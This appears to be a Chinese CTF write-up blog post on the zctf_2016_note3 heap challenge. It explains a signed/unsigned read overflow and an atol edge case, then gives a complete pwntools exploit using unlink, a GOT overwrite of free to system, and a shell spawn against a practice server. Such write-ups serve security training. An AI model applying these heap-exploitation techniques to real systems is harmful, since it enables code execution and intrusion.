zctf_2016_note3

zctf_2016_note3

很久没做题捞的淌口水了~

Vulnerable Code

一个在self_read中:

for ( i = 0LL; a2 - 1 > i; ++i )

当a2等于0时a2-1==-1是一个signed long,而右边的i是一个unsigned long两者比较时会进行类型转换,小类型向大类型转:signed long -> unsigned long也就是说原来-1时0xffffffff现在是个正数,可以大量读取

另一个在:

  self_read((__int64)&nptr, 32LL, 10);
  v1 = atol(&nptr);
  if ( v1 < 0 )
    v1 = -v1;
  return v1;

这里是经过调试发现的,原理我也不是很清楚。对于atol是返回signed long数据,当输入-2**64(刚好越界)最后atol的处理是:

In file: /glibc/source/glibc-2.23/stdlib/strtol_l.c
   498     {
   499       __set_errno (ERANGE);
   500 #if UNSIGNED
   501       return STRTOL_ULONG_MAX;
   502 #else503       return negative ? STRTOL_LONG_MIN : STRTOL_LONG_MAX;
   504 #endif
   505     }

返回一个宏,可见这是一个比较极端的情况,该宏的定义:https://code.woboq.org/userspace/glibc/stdlib/strtol_l.c.html

image-20210311154230850

也就是返回一个表达式:

>>> hex(18446744073709551615)
'0xffffffffffffffffL'
>>> 

>>> hex(9223372036854775807)
'0x7fffffffffffffff' 
>>> hex(9223372036854775807+1)
'0x8000000000000000L'  #<<
>>> 
#最后由于-取反其最高位置1,还是1

Exploit

  • 构造fake_chunk利用unlink劫持bss上的指针表
    • 好久没用unlink劫持了,忘得一干二净
  • got表劫持

Exp

#+++++++++++++++++++exp.py++++++++++++++++++++
#!/usr/bin/python
# -*- coding:utf-8 -*-                           
#Author: Square_R
#Time: 2021.03.11 11.25.12
#+++++++++++++++++++exp.py++++++++++++++++++++
from pwn import*

context.arch = 'amd64'

def add(size,cont):
    sh.sendlineafter('option--->>\n','1')
    sh.sendlineafter('(less than 1024)\n',str(size))
    sh.sendlineafter('content:\n',str(cont))

def overflow(padding):
    sh.sendlineafter('option--->>\n','3')
    sh.sendlineafter('id of the note:\n','-18446744073709551616')
    sh.sendlineafter('new content:\n',str(padding))

def edit(index,cont):
    sh.sendlineafter('option--->>\n','3')
    sh.sendlineafter('id of the note:\n',size(index))
    sh.sendlineafter('new content:\n',str(cont))

def delete(index):
    sh.sendlineafter('option--->>\n','4')
    sh.sendlineafter('id of the note:\n',str(index))

def show_addr(name,addr):
    log.success('The '+str(name)+' Addr:' + str(hex(addr)))


host = '1.1.1.1'
port = 10000
local = 0
if local:
    context.log_level = 'debug'
    libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
    elf=ELF('./zctf_2016_note3')
    sh = process('./zctf_2016_note3')
else:
    #context.log_level = 'debug'
    libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
    elf=ELF('./zctf_2016_note3')
    sh = remote('node3.buuoj.cn',26454)



def pwn():
    bss_ptr = 0x0000000006020C8
    fake_fd = bss_ptr+8-0x18
    fake_bk = bss_ptr+8-0x10
    padding = p64(0)*2 + p64(0) + p64(0xa1) +p64(0)+p64(0x91)+p64(fake_fd)+p64(fake_bk)
    padding += '\x00'*0x70 + p64(0x90) + p64(0x90)
    add(0,'')
    add(0x90,'')
    add(0x80,'')
    add(0,'')
    edit(0,padding)
    delete(2)

    padding = p64(0)*2 + p64(elf.got['free'])*2 + p64(elf.got['puts'])
    edit(1,padding)

    overflow('\x30\x07\x40\x00\x00\x00')
    delete(2)
    puts_addr = u64(sh.recvuntil('\x7f',timeout=0.1).ljust(8,'\x00'))
    libc_addr = puts_addr - libc.sym['puts']
    system_addr = libc_addr+libc.sym['system']
    show_addr('puts_addr',puts_addr)
    show_addr('libc_addr',libc_addr)
    show_addr('system_addr',system_addr)

    edit(1,p64(system_addr).strip('\x00'))
    add(0x20,'/bin/sh;')
    delete(2)


'''
fake_chunk 0x602108
'''
if __name__ == '__main__':
    pwn()
    sh.interactive()

  转载请注明: Squarer zctf_2016_note3

 上一篇
off-by-null in glibc2.29 off-by-null in glibc2.29
title: off-by-bull in glibc2.29date: 2021-05-21tags: - off-by-bull - glibc2.29categories: - Exercise ycb_2020_
2021-05-21 Squarer
下一篇 
GKCTF2020_Domo GKCTF2020_Domo
[GKCTF2020]Domo这个题利用的知识点还是比较多的,一开始还没啥思路,看了看大佬文章,如醍醐灌顶。然后自己一共尝试了4个EXP。不枉我花了好几天~~ 环境glibc2.23 x64 保护全开 IDA if ( c
2021-02-07
  目录